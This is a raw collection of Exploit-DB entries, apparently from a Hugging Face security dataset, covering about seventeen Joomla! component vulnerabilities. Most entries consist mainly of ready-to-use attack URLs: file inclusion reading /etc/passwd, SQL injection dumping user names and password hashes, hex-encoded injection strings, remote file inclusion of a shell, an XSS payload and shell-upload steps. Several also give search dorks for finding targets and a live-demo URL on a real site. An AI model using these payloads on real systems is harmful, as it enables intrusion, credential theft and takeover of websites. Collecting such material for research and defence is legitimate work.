deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12168
Description: Joomla! Component Arcade Games 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-12
Author: AntiSecurity

Exploit:
=================================================================================================================


  [o] Joomla Component Arcade Games Local File Inclusion Vulnerability
 
       Software : com_arcadegames version 1.0
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_arcadegames&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_arcadegames&controller=../../../../../../../../../../etc/passwd%00


=================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=================================================================================================================


  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #6826
Description: Joomla! Component archaic binary Gallery 0.2 - Directory Traversal
Type: webapps
Platform: php
Date: 2008-10-24
Author: H!tm@N

Exploit:
#############################################################################
#							                    #
# Joomla Component Archaic Binary Gallery Directory Traversal Vulnerability #
#							                    #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: hitman[at]khg-crew[dot]ws
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, war_ning, chs, redc00de - [-=Kosova Hackers Group=-]

########################################

[~] ScriptName:    "Joomla"
[~] Component:     "Archaic Binary Gallery (com_ab_gallery)"  
[~] Version:       "1.0"
[~] Author:        "Zharvek"
[~] Author E-mail: "zharvek@archaicbinary.net"
[~] Author URL:    "www.archaicbinary.net"

########################################

[~] Exploit: /index.php?option=com_ab_gallery&Itemid=37&gallery=[Directory]

[~] Example: /index.php?option=com_ab_gallery&Itemid=37&gallery=/../../

########################################

[~] Live Demo: http://gsegyview.sourceforge.net/index.php?option=com_ab_gallery&Itemid=37&gallery=/../../

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

# milw0rm.com [2008-10-24]
Exploit-DB #12282
Description: Joomla! Component Archery Scores 1.0.6 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-18
Author: wishnusakti + inc0mp13te

Exploit:
 ================================================================================================

 Title    : Joomla Component Archery Scores (com_archeryscores) v1.0.6 LFI Vulnerability
 Vendor   : http://lispeltuut.org/
 Download : http://lispeltuut.org/archery-scores/download

 Date     : Sunday, 18 April 2010 - GMT +07:00 Jakarta, Indonesia
 Author   : wishnusakti + inc0mp13te (HH)
 Contact  : evileyes60117[at]yahoo.com

 ================================================================================================

 [+] Vulnerable

     ./components/com_archeryscores/archeryscores.php

     Line 22: if($controller = JRequest::getVar('controller')) {
     Line 23:	require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');
     Line 24: }

 [+] Exploit

     http://[site]/[path]/index.php?option=com_archeryscores&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_archeryscores&controller=../../../../../../../../../etc/passwd%00

 ================================================================================================

 Greetz to:

     Penghuni #nob0dy priv8 Server
     (ander, NoGe, zxvf, kaka11, s4va, meylira, Jack, aJe, Unyil, madonk, & Bot² Scan :D)
     en Semua Komunitas Hacking Tanah Air
     Peace Yo :)

 ================================================================================================

# ./wishnusakti
Exploit-DB #46769
Description: Joomla! Component ARI Quiz 3.7.4 - SQL Injection
Type: webapps
Platform: php
Date: 2019-04-30
Author: Mr Winst0n

Exploit:
# Exploit Title: Joomla! Component ARI Quiz 3.7.4 - SQL Injection
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan@gmail.com
# Discovery Date: April 27, 2019
# Vendor Homepage: http://www.ari-soft.com
# Software Link : https://extensions.joomla.org/extensions/extension/living/education-a-culture/ari-quiz/
# Tested Version: 3.7.4
# Tested on: Kali linux, Windows 8.1 


# PoC:

# http://localhost/[PATH]/index.php?option=com_ariquiz&view=category&categoryId=SQLi&Itemid=236
# http://localhost/[PATH]/index.php?option=com_ariquiz&view=category&categoryId=6%27and%200%20union%20select%201,2,3--%20-&Itemid=236
Exploit-DB #8697
Description: Joomla! Component ArtForms 2.1 b7 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-05-15
Author: iskorpitx

Exploit:
ArtForms 2.1b7 remote file includes
 
From Turkey
iskorpitx (O bir dÃ¼nya markasÄ± Asla Taklit Edilemez)
 
// swfmovie.php - swf output and config
 
/* output captcha image */
 
/* output captcha mp3 */
 
----------------------------------------------------------------------------------
 
[path]/components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php?mosConfig_absolute_path=*shell

[path]/components/com_artforms/assets/captcha/includes/captchaform/mp3captcha.php?mosConfig_absolute_path=*shell

[path]/components/com_artforms/assets/captcha/includes/captchatalk/swfmovie.php?mosConfig_absolute_path=*shell
-----------------------------------------------------------------------------------
by iskorpitx
admin@mavi1.org

# milw0rm.com [2009-05-15]
Exploit-DB #14263
Description: Joomla! Component ArtForms 2.1b7.2 rc2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-07
Author: Salvatore Fresta

Exploit:
ArtForms 2.1b7.2 RC2 Joomla Component Multiple Remote Vulnerabilities

 Name              ArtForms
 Vendor            http://joomlacode.org/gf/project/jartforms/
 Versions Affected 2.1b7.2 RC2

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-07-07

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

ArtForms is a popular Joomla component.
The ArtForms component  is  a  package  for an easy From
Generator for Joomla 1.0.xx. It  allows  you to generate
as  much  Forms  as  you like, you can define all fields
that  you  need and also make file upload and attachment
possible.


II. DESCRIPTION
_______________

Some parameters are not sanitised  before  being  used in
SQL queries and in danger PHP's functions.
The vulnerabilities are reported in version  2.1b7.2 RC2. 
Other versions may also be affected.


III. ANALYSIS
_____________

Summary:

 A) Multiple SQL Injection
 B) Directory Traversal
 C) Reflected XSS
 

A) Multiple SQL Injection
_________________________

The parameters viewform and id are not properly sanitised
before being used in a SQL query.This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.


B) Directory Traversal
______________________

The  l  parameter  in  alikon/captcha.php is not properly
sanitised before being used to create a path  for  a file
that will be downloaded.This can be exploited to download
arbitrary  files  from   local  resources  via  directory 
traversal  attacks.


C) Reflected XSS
________________

The  afmsg  parameter  is  not  properly sanitised before
being printed.This allows the execution of arbitrary HTML
code.


IV. SAMPLE CODE
_______________

A) Multiple SQL Injection

index.php?option=com_artforms&task=ferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23
index.php?option=com_artforms&task=vferforms&id=1 UNION SELECT 1,2,3,4,5,6%23
index.php?option=com_artforms&task=tferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23


B) Directory Traversal

http://site/path/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../etc/passwd%00


C) Reflected XSS

index.php?option=com_artforms&formid=1&afmsg=<script>alert('xss');</script>


V. FIX
______

No fix.
Exploit-DB #12539
Description: Joomla! Component Article Factory Manager - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-05-08
Author: Sid3^effects

Exploit:
# vendor :http://www.thefactory.ro/shop/joomla-components/article-manager.html
         

############################################################################

		ooooo  .oooooo.  oooooo   oooooo     oooo
		`888' d8P'  `Y8b  `888.    `888.     .8'
		 888 888           `888.   .8888.   .8'
		 888 888            `888  .8'`888. .8'
		 888 888             `888.8'  `888.8' 
 		 888 `88b    ooo      `888'    `888'
		o888o `Y8bood8P'       `8'      `8'   
                                        
--------------------------------------------------------------------------------------
#####################Sid3^effects aKa HaRi##################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR
#ShouTZ:kedar,dec0d3r,41.w4r10r     
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################
 
Description :
 Article Factory Manager is a very useful tool for any article driven sites. As the title inspires its an article manager with various features, like management of the articles, edit, delete, publish, etc. It also providing a new Approval System, much more simplified then the one present in the Joomla core.

The approval workflow (including email notifications) provides a series of features which are very important for a daily usuage like: view my articles, view pending articles, view article rejection reason, etc. This workflow includes also for the administrator a very easy and fast frontend approval system.

Administrators can set allowed html TAGS, number of links per article, word count restriction, etc. A Resource Box its provided for the author in order to make the publishing process faster.

Article Manager also includes a Notifiy System where the administrator receive an mail each time an article is pending for approval and the author upon publication.

############################################################################

Xploit : Upload Vulnerability

       
 STEP 1 : Register first :)
 
 STEP 2 : Goto "Submit new article"option.

 STEP 3 : The attacker either upload  a shell in the article section and your shell gets executed :P
        

DEMO URL : To submit your evil article :D
           http://server/index.php?option=com_articleman&task=new

 Once uploaded you can check your article :P


############################################################################


#Sid3^effects
Exploit-DB #45477
Description: Joomla! Component Article Factory Manager 4.3.9 - SQL Injection
Type: webapps
Platform: php
Date: 2018-09-25
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Article Factory Manager 4.3.9 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: https://thephpfactory.com/
# Software Link: https://extensions.joomla.org/extensions/extension/authoring-a-content/content-submission/article-factory-manager/
# Version: 4.3.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17380
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_articleman&view=articles&filter_search=&start_date=[SQL]&end_date=&m_start_date=[SQL]&m_end_date=[SQL]
# 
# %31%27%61%6e%64%20%28%73%65%6c%65%63%74%20%31%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%20%63%6f%75%6e%74%28%2a%29%2c%63%6f%6e%63%61%74%28%28%73%65%6c%65%63%74%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%63%61%73%74%28%64%61%74%61%62%61%73%65%28%29%20%61%73%20%63%68%61%72%29%2c%30%78%37%65%29%29%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%77%68%65%72%65%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%64%61%74%61%62%61%73%65%28%29%20%6c%69%6d%69%74%20%30%2c%31%29%2c%66%6c%6f%6f%72%28%72%61%6e%64%28%30%29%2a%32%29%29%78%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%67%72%6f%75%70%20%62%79%20%78%29%61%29%20%41%4e%44%20%27%27%3d%27
#  
# # # #
Exploit-DB #5684
Description: Joomla! Component Artist - 'idgalery' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-28
Author: Cr@zy_King

Exploit:
Cr@zy_King / crazy_kinq@hotmail.co.uk

Joomla Component Artist Remote Sql Injection

M4sterZ sqL / t4cs1zkr4L : )

Down : http://www.joomlaresource.com/joomla_downloads/Download/Joomla_Components/Artists/

http://localhost/index.php?option=com_artist&idgalery=Sql

Sql : -1+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9+from+jos_users/*

gretZ : aLL My Friends & CoderX Federation & Code Hunters and str0ke

----------------------------- 

# milw0rm.com [2008-05-28]
Exploit-DB #2209
Description: Joomla! Component Artlinks 1.0b4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-18
Author: camino

Exploit:
    .:[ insecurity research team ]:.
     .__..____.:.______.____.:.____ .
 .:. |  |/    \:/  ___// __ \:/   _\.:.
   : |  |   |  \\____\\  ___/\   /__ :. .
 ..: |__|___|  /____  >\___  >\___  >.:
   .:.. ..  .\/   .:\/:.  .\/.  .:\/:
 .   ...:.    .advisory.    .:...
         :..................: 18.o8.2oo6 ..
 
 
  Affected Application: Artlinks v1.0 Beta 4 

       (Mambo/Joomla CMS Component)
 
 
 . . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  Discoverd by: camino
 
  Team: Insecurity Research Team
 
  URL: http://www.insecurityresearch.org
 
  E-Mail: camino[at]sexmagnet[dot]com
 
 
 
 . . :[ insecure application details ]: . . . . . . . . . . . . . . . . .
 
 
  Typ: Remote [x]  Local [ ]
 
       Remote File Inclusion [x]  SQL Injection [ ]
 
  Level: Low [ ]  Middle [ ]  High [x]
 
  Application: Artlinks
 
  Version: 1.0 Beta 4
 
  Vulnerable File: artlinks.dispnew.php
 
  URL: http://www.duswald.de
 
  Description: It's a component which creates linklists for various 

               categories with a screenshot and description.
 
  Dork: inurl:"com_artlinks"
 
 
 
 . . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  http://[sitepath]/[joomlapath]/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=http://huh?
 
 
 . . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  o1.) open artlinks.dispnew.php
 
  o2.) take a look at line 12:

         require($mosConfig_absolute_path."/administrator/components/

         com_artlinks/config.artlinks.php");
 
  o3.) add the following line before line 12:

         defined( '_VALID_MOS' ) or die( 'Direct Access to this location 

         is not allowed.' );
 
  o4.) done!
 
 
 
 . . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  my girlfriend, brOmstar, ACiDAngel, PoKi, Waze and all the sexy members 

  of insecurity research team ;-)

# milw0rm.com [2006-08-18]
Exploit-DB #5138
Description: Joomla! Component astatsPRO 1.0 - 'refer.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-18
Author: ka0x

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
 Joomla Component astatsPRO Remote SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

## bug found by ka0x
## D.O.M TEAM 2008
## we are: ka0x, an0de, xarnuz
## http://www.domlabs.org/
## contact: ka0x01[at]gmail.com
## from spain

d0rk: allinurl: "com_astatspro"

PoC: administrator/components/com_astatspro/refer.php?id=-1/**/union/**/select/**/0,concat(username,0x3a,password,0x3a,usertype),concat(username,0x3a,password,0x3a,usertype)/**/from/**/jos_users/*


Look at the code of the page:

<HTML>
<HEAD>

    <TITLE>302 Moved</TITLE>

</HEAD>
<BODY BGCOLOR=#FFFFFF>

    <H1>302 Moved</H1>
    The document has moved <A HREF="admin:c9cb9115e90580e14a0407ed1fcf8039:Super Administrator">here</A>.


</BODY>
</HTML>

greets: ssh-2, phnx, nettoxic, jns07, her0, JosS, Plexinium Team, FaLENcE, Hendrix,
        Piker, you_kn0w, Celciuz, Lady_Lara, The Shredder, RedHack Team, zickox, Furtivo.
       

__EOF__

    <name>astatsPRO</name>
    <creationDate>16/07/2006</creationDate>
    <author>www.joom.la</author>
    <copyright>Copyright (c) 2006 mobico (Marcel Boettcher)</copyright>
    <authorEmail>info@joom.la</authorEmail>

    <authorUrl>http://astatspro.joom.la/</authorUrl>
    <version>1.0.0</version>
    <description><![CDATA[
  <span>1.0.0 [stable] Component - to count your visitors.</span> <b> Z&auml;hlt ihre Besucher.</b>
<p><b>astatsPRO is based on:</b> <a target="_blank"  href="http://christoph-bachner.net/chcounter/"> chCounter 3.1.1 (13|07|2005)Â©2005 www.Christoph Bachner.net</a><br /><br /></p>
  	]]>
  	</description>

# milw0rm.com [2008-02-18]
Exploit-DB #45456
Description: Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection
Type: webapps
Platform: php
Date: 2018-09-24
Author: Ihsan Sencan

Exploit:
# Exploit Title: Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection
# Exploit Author: Ihsan Sencan
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: https://thephpfactory.com/
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/auction/auction-factory/
# Version: 4.5.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:  
# 1)
# http://localhost/[PATH]/index.php?option=com_auctionfactory&task=listauctions&filter_order_Dir=[SQL]&filter_order=[SQL]

%2c%45%58%54%52%41%43%54%56%41%4c%55%45%28%36%36%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%29%29
Exploit-DB #14249
Description: Joomla! Component AutarTimonial 1.0.8 - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-06
Author: Sid3^effects

Exploit:
######################################################################################################
Name :  Joomla com_autartimonial Sqli Vulnerability
Date : july 6,2010
Critical Level 	: HIGH
vendor URL :http://www.autartica.be/
Author : Sid3^effects aKa HaRi 
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description : 

AutarTimonial consists of a component to manage  testimonials, and a module displaying randomly a testimonial. This component has multilingual support .  English and French are currently available.

#######################################################################################################
Xploit :SQli Vulnerability

DEMO URL :http://www.site.com/index.php?option=com_autartimonial&view=autartimonial&limit=[sqli]

###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #33590
Description: Joomla! Component AutartiTarot - Directory Traversal
Type: webapps
Platform: php
Date: 2010-02-01
Author: B-HUNT3|2

Exploit:
source: https://www.securityfocus.com/bid/38034/info

The AutartiTarot component for Joomla! is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.

NOTE: Successful exploitation requires having 'Public Back-end' group credentials. 

http://www.example.com/administrator/index.php?option=com_autartitarot&task=edit&cid[]=38&controller=[DT]
Exploit-DB #34972
Description: Joomla! Component AutoArticles 3000 - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-05
Author: jos_ali_joe

Exploit:
source: https://www.securityfocus.com/bid/44694/info

The AutoArticles 3000 component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_a3000&task=showarticle&id=1 [Blind Sql]
Exploit-DB #12113
Description: Joomla! Component AWDwall 1.5.4 - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2010-04-08
Author: AntiSecurity

Exploit:
=========================================================================================================


  [o] Joomla Component AWDwall-Joomla LFI & SQLi [cbuser] Vulnerability
 
       Software : com_awdwall version 1.5.4
       Vendor   : http://www.awdsolution.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=========================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_awdwall&controller=[LFI]
       http://localhost/[path]/index.php?option=com_awdwall&view=awdwall&Itemid=1&cbuser=1[SQL]


  [o] PoC

       http://localhost/index.php?option=com_awdwall&controller=../../../../../../../../../../etc/passwd%00
       http://localhost/[path]/index.php?option=com_awdwall&view=awdwall&Itemid=1&cbuser=-1+union+select+1,2,3,4,5,6,group_concat(username,0x3a,password),8,9,10,11,12+from+jos_users--


=========================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews kaka11 wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


=========================================================================================================


  [o] April 08 2010 - GMT +07:00 Jakarta, Indonesia